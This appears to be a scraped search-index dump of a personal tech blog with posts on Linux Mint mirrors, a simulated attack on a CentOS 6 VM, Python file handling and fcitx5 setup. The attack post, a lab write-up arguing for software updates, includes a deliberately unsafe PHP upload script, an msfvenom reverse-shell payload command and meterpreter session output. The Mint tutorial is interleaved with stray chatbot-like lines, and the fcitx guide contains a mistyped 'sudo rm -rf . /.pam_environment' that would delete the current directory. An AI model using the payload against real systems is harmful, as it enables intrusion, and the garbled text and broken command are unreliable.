I...","uri":"/posts/2020-dec-29/"},{"categories":["Poem"],"content":"Future If only I should have a future…. I would write the story continuously… If only I…. I would… ","date":"2020-11-29","objectID":"/posts/2020-dec-29/:0:3","tags":["Poem"],"title":"If Only I...","uri":"/posts/2020-dec-29/"},{"categories":["Linux"],"content":"A tutorial for beginners on modifying software sources in Linux Mint.","date":"2020-11-06","objectID":"/posts/2020-nov-6/","tags":["tutorial","Linux Mint","modifying software sources","Linux basics","apt"],"title":"How to Modify Software Sources in Linux Mint","uri":"/posts/2020-nov-6/"},{"categories":["Linux"],"content":"Introduction After installing Linux Mint, one of the first things you may want to do is modify your software sources. The default software sources in Linux Mint are official ones, which may take a long time to download and update packages. Therefore, it’s recommended to modify the software sources and use a mirror source that is closer to you. For Linux Mint, there are basically two ways to modify the software sources. Note: Choose only one of the following options. ","date":"2020-11-06","objectID":"/posts/2020-nov-6/:1:0","tags":["tutorial","Linux Mint","modifying software sources","Linux basics","apt"],"title":"How to Modify Software Sources in Linux Mint","uri":"/posts/2020-nov-6/"},{"categories":["Linux"],"content":"Method 1: Using the Terminal We’ll first go to the TUNA mirror site and take a look at the help documentation (https://mirrors.tuna.tsinghua.edu.cn/help/linuxmint/). The content is as follows: “Oh, I see. Maybe you’re having trouble understanding how to do it. Here’s a detailed guide on how to perform the operation: First, move your mouse cursor to the bottom left corner of the screen and open the Terminal.” To modify the software sources, we first need to edit the /etc/apt/sources.list file. It seems that Mint does not come with vim pre-installed, so we will use nano here. $ sudo nano /etc/apt/sources.list Note: sudo is required and do not forget to enter your password after pressing Enter in the terminal. When you open the file, you may notice that it appears empty except for some English comments. You can start writing into the file by following the instructions provided by the TUNA mirror site or other tutorial deb http://mirrors.tuna.tsinghua.edu.cn/linuxmint/ ulyana main upstream import backport I understand. To complete the process, we also need to add Ubuntu repositories as some packages in Mint require them. Let’s take a look at the Ubuntu help documentation for further instructions. Great, it sounds like you have a good understanding of the process! Yes, you can modify the URLs in the /etc/apt/sources.list file and replace archive.ubuntu.com with mirrors.tuna.tsinghua.edu.cn. This will help speed up the process of downloading and updating packages in Linux Mint. #deb cdrom:[Linux Mint 20 _Ulyana_ - Release amd64 20200624]/ focal contrib main # This system was installed using small removable media # (e.g. netinst, live or single CD). The matching \"deb cdrom\" # entries were disabled at the end of the installation process. # For information about how to configure apt package sources, # see the sources.list(5) manual. deb http://mirrors.tuna.tsinghua.edu.cn/linuxmint/ ulyana main upstream import backport deb http://mirrors.tuna.tsinghua.edu.cn/ubuntu focal main restricted universe multiverse deb http://mirrors.tuna.tsinghua.edu.cn/ubuntu focal-updates main restricted universe multiverse deb http://mirrors.tuna.tsinghua.edu.cn/ubuntu focal-backports main restricted universe multiverse deb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse Like this： Exactly! After modifying the software sources, you can run the command sudo apt update in the terminal to update the package lists. This will allow you to download and install packages much faster than before. ","date":"2020-11-06","objectID":"/posts/2020-nov-6/:2:0","tags":["tutorial","Linux Mint","modifying software sources","Linux basics","apt"],"title":"How to Modify Software Sources in Linux Mint","uri":"/posts/2020-nov-6/"},{"categories":["Linux"],"content":"Method 2: Using the Update Manager irst, click on the “Menu” button in the bottom left corner of the screen to access the applications menu. Then, search for “Settings Manager” and click on it to open the manager. Next, scroll down the Settings Manager window until you find the “Software Sources” option. Click on it to open the software sources settings. Hmm, didn’t you see it at the beginning? Yes, you are correct! The TUNA mirror site was mentioned earlier in this guide as an example of a mirror that can be used to modify the software sources. Then use this software to modify the sources to use mirrors hosted in China. However, I am not sure of the exact steps on how to do this. Oh yeah! Anyway, this is it… Just use your mouse to click around, and you’re good to go! Next, you will be prompted to update the apt cache. Click “OK” to continue. Wait for the process to finish, and you’re done! ","date":"2020-11-06","objectID":"/posts/2020-nov-6/:3:0","tags":["tutorial","Linux Mint","modifying software sources","Linux basics","apt"],"title":"How to Modify Software Sources in Linux Mint","uri":"/posts/2020-nov-6/"},{"categories":["Linux"],"content":"Updating Software Packages Once you have set up the apt software sources, the next step is to perform necessary software package updates. Here are two methods to update your software packages: Note: Still, you can choose either Method 1 or Method 2 to update your software packages. ","date":"2020-11-06","objectID":"/posts/2020-nov-6/:4:0","tags":["tutorial","Linux Mint","modifying software sources","Linux basics","apt"],"title":"How to Modify Software Sources in Linux Mint","uri":"/posts/2020-nov-6/"},{"categories":["Linux"],"content":"Method 1: Using the Terminal Open the Terminal by clicking on the “Menu” button in the bottom left corner of the screen and searching for “Terminal”. In the Terminal, type the following command and press Enter: $ sudo apt upgrade Enter your password when prompted and press Enter again. Wait for the update process to finish. Then, you can reboot your system. ","date":"2020-11-06","objectID":"/posts/2020-nov-6/:4:1","tags":["tutorial","Linux Mint","modifying software sources","Linux basics","apt"],"title":"How to Modify Software Sources in Linux Mint","uri":"/posts/2020-nov-6/"},{"categories":["Linux"],"content":"Using the Update Manager Click it! Then you just need to enter the password. Just click to install the update. 确定Click OK Screenshots are exhausting…then just wait for it to finish running. Next, restart the virtual machine and it will be ready to use. ","date":"2020-11-06","objectID":"/posts/2020-nov-6/:4:2","tags":["tutorial","Linux Mint","modifying software sources","Linux basics","apt"],"title":"How to Modify Software Sources in Linux Mint","uri":"/posts/2020-nov-6/"},{"categories":["Linux"],"content":"Conclusion First of all, I used Linux Mint 20 for demonstration, which may be updated in the future and some details in this article may differ from the actual situation, but the operations are similar. Please adjust accordingly based on your actual situation. Secondly, please don’t laugh! This article is aimed at beginners who are just starting to learn about Linux. If there are any shortcomings or small mistakes caused by carelessness, please leave a message in the Gitalk section below. Finally, this site follows the CC-BY-NC 4.0 license，please indicate the source when reprinting. ","date":"2020-11-06","objectID":"/posts/2020-nov-6/:5:0","tags":["tutorial","Linux Mint","modifying software sources","Linux basics","apt"],"title":"How to Modify Software Sources in Linux Mint","uri":"/posts/2020-nov-6/"},{"categories":["Linux"],"content":"Reference links Linux Mint | Mirror Usage Guide | Tsinghua Open Source Mirror Ubuntu | Mirror Usage Guide | Tsinghua Open Source Mirror ","date":"2020-11-06","objectID":"/posts/2020-nov-6/:6:0","tags":["tutorial","Linux Mint","modifying software sources","Linux basics","apt"],"title":"How to Modify Software Sources in Linux Mint","uri":"/posts/2020-nov-6/"},{"categories":["Penetration testing"],"content":"The meaning of updates...","date":"2020-09-26","objectID":"/posts/2020-09-26/","tags":["Linux","Thoughts","Essays","Penetration testing","Social engineering","Hackers","Updates"],"title":"Attacking CentOS6 Virtual Machines","uri":"/posts/2020-09-26/"},{"categories":["Penetration testing"],"content":" Although the penetration process is involved, this article’s main topic is not about penetration testing. Please read it with a rational mindset. ","date":"2020-09-26","objectID":"/posts/2020-09-26/:0:0","tags":["Linux","Thoughts","Essays","Penetration testing","Social engineering","Hackers","Updates"],"title":"Attacking CentOS6 Virtual Machines","uri":"/posts/2020-09-26/"},{"categories":["Penetration testing"],"content":"The reason for writing this blog post Recently, I have been hearing different opinions on software updates. On one hand, some argue that in certain cases, updating can be counterproductive, leading to unnecessary workload or even rewriting. On the other hand, others argue that continuous updates are necessary for a better user experience. I am not sure which side is right, but I am curious. I wanted to know what would happen if I do not update software, so I took it upon myself to simulate an attack on a commercial company’s server using a virtual machine. The system used was CentOS 6, and I attempted to use various tools to try and breach its security. My goal was to simulate what could happen if a company were to be targeted by hackers while still using CentOS 6.0 in 2020. ","date":"2020-09-26","objectID":"/posts/2020-09-26/:1:0","tags":["Linux","Thoughts","Essays","Penetration testing","Social engineering","Hackers","Updates"],"title":"Attacking CentOS6 Virtual Machines","uri":"/posts/2020-09-26/"},{"categories":["Penetration testing"],"content":"Simulation Environment Attacker platform: Arch Linux IP: 192.168.0.109 Victim platform: CentOS 6.1 on VirtualBox IP: 192.168.0.116 Suppose this is a company where non-technical personnel lead the technical staff, and they have not updated the software used in development (including the operating system of their development machines and servers) for a long time. We can imagine this virtual machine as their server and conduct some attack tests on it. Because the management of this company is non-technical, the software on the server not only has outdated versions but also lacks any defensive measures. Additionally, due to unsatisfactory work hours, the programmers have a “get the job done” attitude, resulting in PHP code on the backend such as this: \u003c?php if ($_FILES[\"file\"][\"error\"] \u003e 0) { echo \"Error: \" . $_FILES[\"file\"][\"error\"] . \"\u003cbr\u003e\"; } else { echo \"Uploaded file name: \" . $_FILES[\"file\"][\"name\"] . \"\u003cbr\u003e\"; echo \"File type: \" . $_FILES[\"file\"][\"type\"] . \"\u003cbr\u003e\"; echo \"File size: \" . ($_FILES[\"file\"][\"size\"] / 1024) . \" kB\u003cbr\u003e\"; echo \"Temporary storage location of file: \" . $_FILES[\"file\"][\"tmp_name\"]; move_uploaded_file($_FILES[\"file\"][\"tmp_name\"], \"upload/\" . $_FILES[\"file\"][\"name\"]); echo \"File stored in: \" . \"upload/\" . $_FILES[\"file\"][\"name\"]; } ?\u003e Although the simulation has limitations, I personally believe that it is sufficient for abstract testing purposes. ","date":"2020-09-26","objectID":"/posts/2020-09-26/:2:0","tags":["Linux","Thoughts","Essays","Penetration testing","Social engineering","Hackers","Updates"],"title":"Attacking CentOS6 Virtual Machines","uri":"/posts/2020-09-26/"},{"categories":["Penetration testing"],"content":"Process of attack Someone always likes to cause trouble, and a hacker has scanned the server… $ sudo nmap -O -v 192.168.0.116 The result is as follows: Nmap scan report for 192.168.0.116 Host is up (0.00028s latency). Not shown: 998 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:B7:2E:E5 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 2.6.X|3.X OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 OS details: Linux 2.6.32 - 3.10 Uptime guess: 49.708 days (since Sat Aug 8 02:56:12 2020) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=261 (Good luck!) IP ID Sequence Generation: All zeros Read data files from: /usr/bin/../share/nmap OS detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 2.13 seconds Raw packets sent: 1023 (45.806KB) | Rcvd: 1015 (41.286KB) He was surprised to find that the kernel version was only 2.6.32, which was a first for him. In addition, there were open ports for SSH and HTTP, which gave him a good opportunity. He attempted to access the website and discovered a file upload point on the site. With a “let’s give it a try” attitude, he generated a payload using msf. $ msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=4444 -o shell.php He selected a file and clicked upload, and was surprised to find that not only was the upload successful, but he was also informed of its location. So he launched msfconsole. $ msfconsole And he used the exploit/multi/handler module. msf5 \u003e use exploit/multi/handler He then proceeded to set the parameters one by one. msf5 exploit(multi/handler) \u003e set LHOST 192.168.0.109 msf5 exploit(multi/handler) \u003e set LPORT 4444 set payload php/meterpreter/reverse_tcp The final step was to run the module. msf5 exploit(multi/handler) \u003e run Then msf began listening. [*] Started reverse TCP handler on 192.168.0.109:4444 At this point, he modified the file address and link as prompted and accessed it: http://192.168.0.116/upload/shell.php Msf immediately produced results. It’s easy to imagine how poor the server’s security measures were. [*] Started reverse TCP handler on 192.168.0.109:4444 [*] Sending stage (38288 bytes) to 192.168.0.116 [*] Meterpreter session 1 opened (192.168.0.109:4444 -\u003e 192.168.0.116:52350) at 2020-09-26 21:33:06 +0800 meterpreter \u003e Now he began retrieving brief system information, such as the operating system and kernel version. meterpreter \u003e sysinfo Computer : localhost OS : Linux localhost 2.6.32-754.33.1.el6.x86_64 #1 SMP Tue Aug 25 15:29:40 UTC 2020 x86_64 Meterpreter : php/linux meterpreter \u003e cat /etc/issue CentOS release 6.10 (Final) Kernel \\r on an \\m He also attempted to determine the current user’s privileges. meterpreter \u003e getuid Server username: apache (48) The permissions are still quite low, so while he may not be able to do anything that would cause significant damage to the company, he can still spy and wreak havoc. But would the hacker be satisfied with just that? The answer is no, because he wants to escalate his privileges and obtain root access, which would allow him to do whatever he wants. Due to the fact that the system and kernel of this server are too outdated, most of the code used to exploit vulnerabilities only works on kernel versions 3.x or above, or cannot be compiled at all. It looks like he needs to think of another way. During the day, he rides his motorcycle through the streets and alleys delivering food, and at night he roams the network as a hacker. By chance, he went to deliver food ordered by an employee of that company and, as he entered the office area, he accidentally saw a note stuck to a monitor. There were some numbers and letters written on it, perhaps something useful. While the employees were eating, he secretly took a picture of the note with his phone and left. As luck would have it, this note contained the password that had just been cha","date":"2020-09-26","objectID":"/posts/2020-09-26/:3:0","tags":["Linux","Thoughts","Essays","Penetration testing","Social engineering","Hackers","Updates"],"title":"Attacking CentOS6 Virtual Machines","uri":"/posts/2020-09-26/"},{"categories":["Penetration testing"],"content":"Conclusion Although the story above is purely fictional and the attack was only carried out in a simulated environment, it is worth pondering over what we can see… Systems that are not updated are prone to attacks. Code that is not updated is prone to vulnerabilities. Slow password updates can lead to leaks. Vulnerabilities must be fixed by updating software; otherwise, they will be exploited. And as for what we cannot see… Software is ultimately created by humans, and there is no perfection with humans. We must constantly reflect on ourselves and our creations. Whether as users or developers, updating what needs to be updated is a normal part of life. There may be differences in speed, but progress must be made. Standing still or even moving backwards is not an option. For software to be updated is like how humans need to self-reflect. If humans fail to self-reflect, their future will be bleak. If software is not updated, it will be abandoned by people and forgotten. Even worse, it could be easily destroyed by a script kiddie who delivers food, just like the joke I told earlier. The above is just my personal opinion. If there are any errors, please feel free to correct me in the comments below. ","date":"2020-09-26","objectID":"/posts/2020-09-26/:4:0","tags":["Linux","Thoughts","Essays","Penetration testing","Social engineering","Hackers","Updates"],"title":"Attacking CentOS6 Virtual Machines","uri":"/posts/2020-09-26/"},{"categories":["Programming"],"content":"Python study notes on the basics of reading and writing files","date":"2020-09-05","objectID":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C/","tags":["Notes","Linux","Python","Programming"],"title":"Python Study Notes - File Operations","uri":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C/"},{"categories":["Programming"],"content":"File Operations ","date":"2020-09-05","objectID":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C/:1:0","tags":["Notes","Linux","Python","Programming"],"title":"Python Study Notes - File Operations","uri":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C/"},{"categories":["Programming"],"content":"open open() is the key function in Python for file operations, with two parameters that need to be set: Filename - the name of the file, self-explanatory Mode - determines if the file being opened can be read/written to or has other attributes. open('filename','mode') ","date":"2020-09-05","objectID":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C/:1:1","tags":["Notes","Linux","Python","Programming"],"title":"Python Study Notes - File Operations","uri":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C/"},{"categories":["Programming"],"content":"Reading Open a file in read-only mode: f = open(\"filename.txt\") This is equivalent to: f = open(\"filename\",\"rt\") “r” indicates to read “t” indicates that the file is text, this is the default setting for the function, so it can be omitted. Here’s a list from w3schools: There are four different methods (modes) for opening a file: “r” - Read - Default value. Opens a file for reading, error if the file does not exist “a” - Append - Opens a file for appending, creates the file if it does not exist “w” - Write - Opens a file for writing, creates the file if it does not exist “x” - Create - Creates the specified file, returns an error if the file exists In addition you can specify if the file should be handled as binary or text mode “t” - Text - Default value. Text mode “b” - Binary - Binary mode (e.g. images) For example, let’s say we have a file: /home/weepingdogel/test.txt --- Hello!I love Python. We can read the file without specifying the mode parameter: f = open('test.txt') print(f.read()) Output: weepingdogel@WeepingDogel ~\u003e python test.py Hello!I love Python. Or we can specify it: f = open('test.txt', 'rt') print(f.read()) Output: weepingdogel@WeepingDogel ~\u003e python test.py Hello!I love Python. ","date":"2020-09-05","objectID":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C/:1:2","tags":["Notes","Linux","Python","Programming"],"title":"Python Study Notes - File Operations","uri":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C/"},{"categories":["Programming"],"content":"Reading lines File: /home/weepingdogel/test.txt --- Hello!I love Python. Have a nice day! Good luck! When we encounter a multiline file, we can choose to read only one line at a time using f.readline() For example: f = open('test.txt') print(f.readline()) Output: weepingdogel@WeepingDogel ~\u003e python test.py Hello!I love Python. If we need two lines: f = open('test.txt') print(f.readline()) print(f.readline()) Output: weepingdogel@WeepingDogel ~\u003e python test.py Hello!I love Python. Have a nice day! If we need three lines: f = open('test.txt') print(f.readline()) print(f.readline()) print(f.readline()) Output: weepingdogel@WeepingDogel ~\u003e python test.py Hello!I love Python. Have a nice day! Good luck! This usage reads line by line and prints with line breaks. You may need it when reading configuration files… Of course, we can also use a for() loop to read all lines at once: f = open('test.txt') for x in f: print(x) Output: weepingdogel@WeepingDogel ~\u003e python test.py Hello!I love Python. Have a nice day! Good luck! I think using for is more efficient… ","date":"2020-09-05","objectID":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C/:1:3","tags":["Notes","Linux","Python","Programming"],"title":"Python Study Notes - File Operations","uri":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C/"},{"categories":["Programming"],"content":"Closing files Nothing much to say here… f = open('test.txt') print(f.read()) f.close() The effect is similar to the previous example. I won’t provide debugging results below, it’s too late. ","date":"2020-09-05","objectID":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C/:1:4","tags":["Notes","Linux","Python","Programming"],"title":"Python Study Notes - File Operations","uri":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C/"},{"categories":["Programming"],"content":"Creating “x” indicates creating a new file. If the specified filename already exists, an error will be returned. f = open(\"test.txt\",\"x\") Try it out yourself, nothing much else. ","date":"2020-09-05","objectID":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C/:1:5","tags":["Notes","Linux","Python","Programming"],"title":"Python Study Notes - File Operations","uri":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C/"},{"categories":["Programming"],"content":"Writing to a file The character 'a' represents adding content to an existing file without deleting or overwriting its original contents. For example: f = open(\"test.txt\",\"a\") f.write(\"加入内容 / content added.\") The above string will be added to the file. The character 'w' represents overwriting the file, which will replace any existing content. For example: f = open(\"test.txt\", \"w\") f.write(\"加入内容 / content added.\") In this case, only the string specified will exist in the file. ","date":"2020-09-05","objectID":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C/:1:6","tags":["Notes","Linux","Python","Programming"],"title":"Python Study Notes - File Operations","uri":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C/"},{"categories":["Programming"],"content":"Deleting a file You need to use the os module and its os.remove() function. Simply type import os to import it. import os os.remove(\"test.txt\") Classic example Check if a file exists, delete it if it does, or display a message if it doesn’t. Deleting a directory Use os.rmdir(). import os os.rmdir(\"foldername\") ","date":"2020-09-05","objectID":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C/:1:7","tags":["Notes","Linux","Python","Programming"],"title":"Python Study Notes - File Operations","uri":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C/"},{"categories":["Programming"],"content":"Conclusion These are the basics of file read/write operations that you should know. If you’re having trouble understanding, you can try running the following code with different open() mode parameters. Summary code: import os import datetime def sign(): # Program identification print( ''' ╭╮╭╮╭╮╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╭━━━╮╱╱╱╱╱╱╱╱╭╮ ┃┃┃┃┃┃╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╰╮╭╮┃╱╱╱╱╱╱╱╱┃┃ ┃┃┃┃┃┣━━┳━━┳━━┳┳━╮╭━━╮┃┃┃┣━━┳━━┳━━┫┃ ┃╰╯╰╯┃┃━┫┃━┫╭╮┣┫╭╮┫╭╮┃┃┃┃┃╭╮┃╭╮┃┃━┫┃ ╰╮╭╮╭┫┃━┫┃━┫╰╯┃┃┃┃┃╰╯┣╯╰╯┃╰╯┃╰╯┃┃━┫╰╮ ╱╰╯╰╯╰━━┻━━┫╭━┻┻╯╰┻━╮┣━━━┻━━┻━╮┣━━┻━╯ ╱╱╱╱╱╱╱╱╱╱╱┃┃╱╱╱╱╱╭━╯┃╱╱╱╱╱╱╭━╯┃ ╱╱╱╱╱╱╱╱╱╱╱╰╯╱╱╱╱╱╰━━╯╱╱╱╱╱╱╰━━╯ ''' ) def filecrt(filename): # File creation if os.path.exists(filename): # Check if the file exists print(str(datetime.datetime.now()) + \": The file already exists\") return 0 else: f = open(filename,'x') f.close() print(str(datetime.datetime.now()) + \": Created file: \" + filename) return 1 def filewrt(filename): fruits = ['apple', 'banana', 'strawberry','orange'] # Specify the contents to be written # File write operation f = open(filename, 'w') for fruit in fruits: f.write(fruit + '\\n') print(str(datetime.datetime.now()) + \": Writing: \" + fruit) f.close() def filedel(filename): # Delete file operation if os.path.exists(filename): os.remove(filename) print(str(datetime.datetime.now()) + \": Deleted file: \" + filename) else: print(str(datetime.datetime.now()) + \": \" + filename + \" does not exist\") def fileread(filename): print(str(datetime.datetime.now()) + \": Reading...\" ) f = open(filename,'r') print(\"-\" * 5 + \" File contents \" + \"-\" * 5 + \"\\n\") print(f.read()) print(\"-\" * 5 + \" File contents \" + \"-\" * 5 + \"\\n\") sign() if filecrt(\"test.txt\") == 0: fileread(\"test.txt\") filedel(\"test.txt\") else: filewrt(\"test.txt\") fileread(\"test.txt\") filedel(\"test.txt\") ","date":"2020-09-05","objectID":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C/:2:0","tags":["Notes","Linux","Python","Programming"],"title":"Python Study Notes - File Operations","uri":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C/"},{"categories":["Problem solving"],"content":"If the input method is disabled after update, look here!!!","date":"2020-07-25","objectID":"/posts/%E5%85%B3%E4%BA%8Efcitx5/","tags":["Arch Linux","input method","fcitx","fcitx5","CVE-2010-4708"],"title":"About fcitx5, and recent environment variable issues","uri":"/posts/%E5%85%B3%E4%BA%8Efcitx5/"},{"categories":["Problem solving"],"content":"What happened I recently received a message like this For those who use $HOME/.pam_environment to set environment variables, take note! Due to CVE-2010-4708, pam upstream is set to not read user’s environment variable settings by default in version 1.4.0, and users are required to change their environment variable settings or restore the original default read behavior. ref: Linux environment variables how to set Evian’s Blog Why is the 10-year vulnerability only now fixed? Emmmm, so that’s what the vulnerability is. Emmmm, so that is .pam_environment this file can not be used …… Here thanks to lilydjwg for writing out the way to deal with various situations I’ll write a note about replacing fcitx5 in xfce + lightdm environment… Other specifics can be found in what lilydjwg wrote… (Escape ","date":"2020-07-25","objectID":"/posts/%E5%85%B3%E4%BA%8Efcitx5/:1:0","tags":["Arch Linux","input method","fcitx","fcitx5","CVE-2010-4708"],"title":"About fcitx5, and recent environment variable issues","uri":"/posts/%E5%85%B3%E4%BA%8Efcitx5/"},{"categories":["Problem solving"],"content":"fcitx5 vs fcitx Fcitx Fcitx (Flexible Input Method Framework) ── i.e. Little Penguin Input Method, which is an input method distributed under GPL wiki/Input_method) platform, which can support multiple input methods by installing the engine, and supports simple input and output, it is a common Chinese input method in Linux OS. It has the advantage of being short and compact, and has good compatibility with programs. — Arch Wiki Fcitx5 Fcitx5 is the next generation input method framework after Fcitx. — Arch Wiki Daily lazy, direct quotes (flee ","date":"2020-07-25","objectID":"/posts/%E5%85%B3%E4%BA%8Efcitx5/:2:0","tags":["Arch Linux","input method","fcitx","fcitx5","CVE-2010-4708"],"title":"About fcitx5, and recent environment variable issues","uri":"/posts/%E5%85%B3%E4%BA%8Efcitx5/"},{"categories":["Problem solving"],"content":"Okay, let’s get right to it first post my system situation Operating system: Arch Linux Desktop environment: xfce Display Manager: lightdm Actually, just writing the input method environment variables from .pam_environment to .xprofile will solve the problem, but I’d like to try fcitx5. ","date":"2020-07-25","objectID":"/posts/%E5%85%B3%E4%BA%8Efcitx5/:3:0","tags":["Arch Linux","input method","fcitx","fcitx5","CVE-2010-4708"],"title":"About fcitx5, and recent environment variable issues","uri":"/posts/%E5%85%B3%E4%BA%8Efcitx5/"},{"categories":["Problem solving"],"content":"Uninstall the old version fcitx First of all, we need to uninstall the original fcitx, I was using fcitx-googlepinyin input method before, so I need to uninstall this package too, because there will be dependency. Besides, all the packages that have some relationship with fcitx should be uninstalled, otherwise pacman will report error, so you have to execute this (PS: you may not use Google input method, so please change fcitx-googlepinyin to the package name of the input method you installed) sudo pacman -Rs fcitx-configtool fcitx-googlepinyin fcitx-qt5 fcitx Next, delete this file, it’s useless anyway (escape $ sudo rm -rf . /.pam_environment ","date":"2020-07-25","objectID":"/posts/%E5%85%B3%E4%BA%8Efcitx5/:3:1","tags":["Arch Linux","input method","fcitx","fcitx5","CVE-2010-4708"],"title":"About fcitx5, and recent environment variable issues","uri":"/posts/%E5%85%B3%E4%BA%8Efcitx5/"},{"categories":["Problem solving"],"content":"Installing fcitx5 Now to install fcitx5, this is how to do it fcitx5 The main package, no need to explain fcitx5-chinese-addons Chinese input method package …. Arch Wiki explains it like this. fcitx5-chinese-addons contains a lot of Chinese input methods: Pinyin, ShuangPin, WubiPinyin, Natural Code, CangJie, BingToad Holographic, ErBi, etc. fcitx5-im Environment dependency package, you have to install it, otherwise you can’t type on some software fcitx5-configtool fcitx5’s GUI configuration tool, because I don’t know how to modify the configuration file, so I installed this. Install it after the three above. Then, execute $ sudo pacman -S fcitx5 fcitx5-chinese-addons fcitx5-im fcitx5-configtool After the package is installed, it will theoretically boot up, but well, there can be some metaphysical problems, so do this manually first $ sudo cp /usr/share/applications/fcitx5.desktop ~/.config/autostart/ -v ","date":"2020-07-25","objectID":"/posts/%E5%85%B3%E4%BA%8Efcitx5/:3:2","tags":["Arch Linux","input method","fcitx","fcitx5","CVE-2010-4708"],"title":"About fcitx5, and recent environment variable issues","uri":"/posts/%E5%85%B3%E4%BA%8Efcitx5/"},{"categories":["Problem solving"],"content":"Environment variables Well, finally it’s set environment variable, since .pam_environment can’t be used, where to write it? lilydjwg said: Using X11 desktop environment, usually login through display manager, such as lightdm and sddm. Both of them support ~/.xprofile. This file will be sourced during boot, using a shell determined by dm itself. Both lightdm and sddm use /bin/sh (in the files /etc/lightdm/Xsession and /usr/share/sddm/scripts/Xsession respectively). As you can see, in addition to reading .xprofile, lightdm also reads .profile. sddm even reads the startup configuration scripts for bash, zsh, tcsh, and fish. That is, we need to write the fcitx5 environment variables in the .xprofile file Then… $ vim . /.xprofile Write these things in it export INPUT_METHOD=fcitx5 export GTK_IM_MODULE=fcitx5 export QT_IM_MODULE=fcitx5 export XMODIFIERS=@im=fcitx5 Next you can choose to restart lightdm, $ sudo systemctl restart lightdm Or reboot the system. $ sudo reboot At this time, a keyboard appears in the status bar of xfce, but pressing CTRL + SPACE but it does not bring up the Chinese input method, so what should we do? Right-click the keyboard icon, click Configure, and then go to the QT configuration tool to add Chinese input methods on it! Just double click to add to the left ~ Then click OK and start enjoying fcitx5! ","date":"2020-07-25","objectID":"/posts/%E5%85%B3%E4%BA%8Efcitx5/:3:3","tags":["Arch Linux","input method","fcitx","fcitx5","CVE-2010-4708"],"title":"About fcitx5, and recent environment variable issues","uri":"/posts/%E5%85%B3%E4%BA%8Efcitx5/"},{"categories":["Problem solving"],"content":"Reference links How to set environment variables for Linux - Evian’s Blog Fcitx5 (Simplified Chinese) - ArchWiki Fcitx - Wikipedia Fcitx (Simplified Chinese) - ArchWiki Translated with www.DeepL.com/Translator (free version) ","date":"2020-07-25","objectID":"/posts/%E5%85%B3%E4%BA%8Efcitx5/:4:0","tags":["Arch Linux","input method","fcitx","fcitx5","CVE-2010-4708"],"title":"About fcitx5, and recent environment variable issues","uri":"/posts/%E5%85%B3%E4%BA%8Efcitx5/"},{"categories":["Web"],"content":"Creating fully static web pages using GitHub Pages.","date":"2019-10-13","objectID":"/posts/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8github%E6%90%AD%E5%BB%BA%E7%BD%91%E7%AB%99_%E4%B8%8A/","tags":["Notes","HTML","GitHub Pages","Website","Web Development"],"title":"How to Build a Website Using GitHub","uri":"/posts/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8github%E6%90%AD%E5%BB%BA%E7%BD%91%E7%AB%99_%E4%B8%8A/"},{"categories":["Web"],"content":"Informal Introduction I’m back again~ Hehe, I definitely won’t tell you that I’m here to have some fun again~ Ah, don’t hit me~ It hurts! 